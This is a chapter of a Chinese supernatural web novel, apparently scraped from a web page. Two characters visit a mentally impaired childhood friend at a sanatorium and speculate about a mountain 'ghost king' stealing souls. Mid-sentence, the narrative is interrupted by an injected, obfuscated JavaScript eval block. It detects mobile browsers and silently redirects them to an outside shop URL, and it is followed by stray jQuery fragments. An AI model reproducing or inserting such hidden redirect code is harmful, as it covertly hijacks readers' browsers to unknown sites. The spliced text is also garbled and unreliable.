易无钦说的地方是五六-四厂的疗养院。他带上笔记本电脑,又拿了东北特产。郑咏絮听说是去看望郑飞,在街边买了点水果。
郑飞正在院里的空地上晒太阳,看见他俩很高兴,手舞足蹈。
“婆婆,这是东北特产,都是零食,看看郑飞哥哥喜不喜欢。这个人参片是给你的,你拿来泡水喝,对身体好。水果是咏絮买的,新鲜水果,好吃得很。”易无钦将特产和水果都交给梁婆婆。
他跟郑飞简单说了几句话,找了个小桌子放在院中。他把笔记本放在小桌子上,打开播放器,给郑飞放下载好的电影。
“这是去年的美国大片,很好看,里面各种超能力的人,组成一个队伍打坏蛋。”易无钦给郑飞说。
郑飞也很开心,“我要看,我要看。”
随着电影开始播放,郑飞很快就沉浸在炫目的特效和精彩的剧情里。好几个晒太阳的病人也慢慢凑过来跟着一起看。
易无钦和郑咏絮坐在走廊下看着他们。
“你晓不晓得,郑飞、金海军和我,还有金盛,都是小时候在一起耍的小伙伴。”易无钦对她说,“但是现在,金海军死了,郑飞痴傻了,我是祭童,只有金盛哥哥和另一个去广州打工的韦浩哥哥还好端端的。”
郑咏絮看着他,“你觉得这其中有什么联系?”
易无钦点点头,“我怀疑跟当年去山洞探险有关。”他向郑咏絮讲述了小时候探山洞的事情。
“去山洞探险是金海军提议的,也是他带我们去。他作为大哥走在前面,二哥就是郑飞走在最后。我们排成一个队伍,手拉着手,中间的人两只手都拉着人,只有大哥二哥没有。出来后,二哥说他空着的那只手,感觉到有人在拉他。”
平淡的讲述却让郑咏絮仿佛身临其境,立即起了密密麻麻的鸡皮疙瘩,忍不住将板凳搬到有太阳照着的地方,让暖洋洋的太阳祛除那股寒意。“你是说,如果这些都跟鬼王有关的话,从你们小时候就开始布局了?金海军从那个时候就为金万堂做事?”
易无钦垂下头,“为他做事是肯定的。不过我宁愿相信他当年并不知道具体是怎么回事,金万堂只是让他带我们进山洞而已。”
“那个山洞,跟鬼王有关?”郑咏絮问。
“未必见得。金盛哥哥以前在煤矿工作,他说他后来去过那个山洞,甚至不止他,好多人都去过。但那只是个普通的山洞而已,什么奇怪的也没有。”易无钦回答道。
郑咏絮若有所思,“那个山洞再普通也是鬼王山的山洞。也许,山洞就是鬼王的领地,只要它想,它可以去到任何一个山洞。”
“哇哇哇,飞船掉下来了。”看电影的郑飞惊咋咋地喊起来,引得周围的人一阵笑。
易无钦看着郑飞,“咱们再来说说他和金海军吧。”
“金海军,”郑咏絮回想起上午那一幕,心有余悸,“他不去吓他亲妹,缠上我们了?亏我还给他烧了那么多纸钱。那我们是不是也要去找三姨婆,让那个吴大师画个符。”
“还有,你上午看见的他是啥样?”她问到。
易无钦回忆了下,“我看见他在田坎上看着我们。那张脸跟我在东北时见过的一样,毫无生气。”
“你看见他的脸了?”郑咏絮低声惊呼,“我每次看见的都是他的背影。但是,他虽然背对着我,实际上我能感觉到他一直在看我。真神奇,咱俩看见的还不一样。”
“昨天那个吴大师说他现在成了恶魂,魂魄不全的恶魂。”易无钦说,“我记得当时在东北,在咖啡馆,你告诉我,金海军死的那个晚上,要不是你及时赶来,他起码夺我一魂一魄。”
郑咏絮点点头。
“为什么?”
郑咏絮摊摊手,“其实我也不知道为什么。是金万堂教我,如果要对你说明鬼王祭童的情况,那就这样说,感觉听起来挺有气势,我就对你这么说了。”
易无钦沉默了一下,抬手指了指郑飞,“你再看看他,像不像是丢了一魂一魄。”
“什么?”郑咏絮从板凳上跳起来,“我当时是为了吓唬你才这样说的,难道真有夺人魂魄的事?”
“金海军在我隔壁住了两个月,我一次也没见过他。但你见过,你最后一次见到金海军的时候他有没有异样?”易无钦问。
郑咏絮仔细回忆了一下,金海军出发去东北前,她确实见过他。在金万堂的茶楼里,和金小萍道别,叫她要好好读书。
“没啥异样,反正不是郑飞这样。”
易无钦把板凳搬到郑咏絮旁边,用只有两个人才听得清的声音说,“我隔壁的老孙头跟金海军接触过,如果他不正常的话,那老孙头一定有所察觉。但他没说这一点,那说明金海军是正常的。所以他是死后才变得魂魄不全,而郑飞哥哥是活着就被夺了一魂一魄。”
“难道说,你们当初进了那个山洞,迟早都会魂魄不全?那魂魄去哪儿了?”郑咏絮惊道。
“不知道,现在就郑飞和金海军出现了这样的情况。”
“可是,魂魄残缺是现在才有的事吧?以前都没有。”郑咏絮忽然说。
易无钦一愣,“以前?应该以前也有吧,民间不是一直有丢魂喊魂的说法吗?只是归望镇的人不知道这跟鬼王有关吧?”
“不是的,以前没有。”郑咏絮说得笃定,她对上易无钦探究的目光,连忙解释,“你看金万堂不就好好的吗?”
“他?”
郑咏絮点点头,“伯父告诉我,金万堂能跟鬼王沟通,具体什么方式除了金万堂没人知道。”她耐心解释,“原本伯父是不相信的,但金万堂就靠着鬼王的指引,能在这山里找到最好的煤脉。所以他发家最快,别人的煤都比不过他。”
“真正让伯父信服的,是有几次,金万堂预知了矿里的危险。他让工人带着设备提前撤退,危险发生时,几乎没受损失。归望镇其他家煤矿或多或少都出过事,一出事就很麻烦。只有金万堂没有,所以伯父相信真的是有鬼王相助。”
易无钦沉思片刻,“整个归望镇,只有金万堂能跟鬼王沟通吗?”
“目前看来是,”郑咏絮低着头,“反正我没有在其他人那里听说过鬼王。”
“但金万堂能跟鬼王沟通,不代表以前就没鬼王夺魂魄的事。鬼王在人间行走,也是需要话事人的。金万堂要是变成郑飞这个样子,还怎么帮它做事?”易无钦分析道。
“你说的也有道理。”郑咏絮点头。
梁婆婆端了个高凳子过来,将洗好切块的水果放在上面让易无钦和郑咏絮吃。她又端了另外一盘给郑飞和其他病人分享。
易无钦看着他们长叹一声,“郑飞哥哥还有他奶奶和家人照顾,但我现在是个孤儿。要是真的失去一魂一魄变痴傻了,都没人能照顾我。”
郑咏絮默默捡了块苹果吃,过了好一会儿,才说,“不会的,我们不会成为那样。”
“你……”易无钦正想问问她为啥这样肯定,郑咏絮先打断了他,
“我想,我大概猜到金海军带你们进山洞做什么。”
“做什么?”
郑咏絮看着他,“让鬼王选祭童。”
易无钦闻言沉默了,过了好一会儿才说,“于是,鬼王选中了我。”
“但金万堂一开始不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526750|203544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道是你,以为是郑飞。后来大概他又跟鬼王沟通后,才知道是你。”郑咏絮说。
她想起了之前无意中偷听到的一段对话。
在伯父郑高志告诉她祭童命运后不久,有一次在金万堂的茶楼里。
金万堂和郑高志还有金海军,三人商量着什么,她在里面的书房玩电脑。
原本他们关着书房门,但她嫌闷将对着谈事厅的窗户打开了一条缝。
一些对话也隐隐约约传到她耳里。
“错了,不是郑飞。是东北那个。”
“当年郑飞出了山洞说有人在拉他手,我就一直以为是他。”
“不怪你,鬼王都没判断对。”
“看来要派人去东北了。”
这段对话涉及到了“鬼王”,让郑咏絮印象非常深刻,再结合目前两人的推断,一些事情也能串联起来了。
“可即便郑飞被误判了,那为何还要把他变成这个样子?”易无钦有些愤懑。
郑咏絮说,“郑飞是很多年前就成这样了,应该跟金万堂无关。但一定跟鬼王有关。”
易无钦看着高凳子上的水果,“有件事情我觉得有点奇怪。”
“什么?”
“你说鬼王那么厉害,夺人魂魄,还让咱俩成了祭童。但我在归望镇几乎没怎么听到关于鬼王的传说。”他指了指正在给郑飞换背上汗巾的梁婆婆,“梁婆婆是老人了,相信迷信那套。但我上次问过她,她根本不知道有啥鬼王。她说是这个山叫鬼王山是因为山上有一块长得像鬼的大石头。”
郑咏絮想了想,“的确,我们从小叫它鬼王山鬼王山,但从来没听说什么有关鬼王的传说。要不是你和我确实有这些遭遇,我也很难相信真有鬼王。而且不止梁婆婆,就连我三姨婆那么迷信的一个人,也没有听她说过鬼王。”
“所以这个鬼王到底是个什么东西,咱们还得好好查查。”
易无钦正说着,忽然手机来了电话,是历史老师黄衡给他打的。
“黄老师,下午好。”
黄衡在电话里笑呵呵,“小易,不好意思,开学这段时间有点忙。”
“没事没事。”
“你年前让我看的那个图案,我不是托人问嘛,还真问到了。”
易无钦立即双目放光,将电话改成免提,让郑咏絮一起听,“您说,您说。”
“这个图案应该是西南那里的僚人,他们用铜鼓,鼓就是这样的。那个动物应该是青蛙,他们叫蚂拐,是僚族的一种崇拜。”
“僚人?”
“对。我有个同学是渝州人,他就是研究这个的,他说你去的那个归望镇就有一些南僚的遗迹。我把他电话给你,你可以跟他联系,了解更多一点。”
“好的,谢谢黄老师,太感谢了。”
挂掉电话后,两人对视,都是一片茫然。“你听说过僚人吗?”易无钦问。
郑咏絮摇头,“从来没有。我的天,我还是归望镇的人吗。怎么这些东西我都没听说过。”
“哈哈哈,也正常。我一个东北人,姥姥又是迷信的,我也不大了解五大仙嘛。”易无钦笑起来,将刚才沉闷的气氛打破。
黄衡的微信很快就发过来了。
“僚人研究,姜放。”易无钦念出信息内容。
“姜放?”郑咏絮愣了一下。
易无钦问,“怎么,你认识?”
“不认识,”郑咏絮回答,“不过他马上要来我们学校做讲座报告。本来不是我们部门负责,但他说想来图书馆参观看书,所以我也要负责接待。”
“太好了,咱们可得好好请教他。”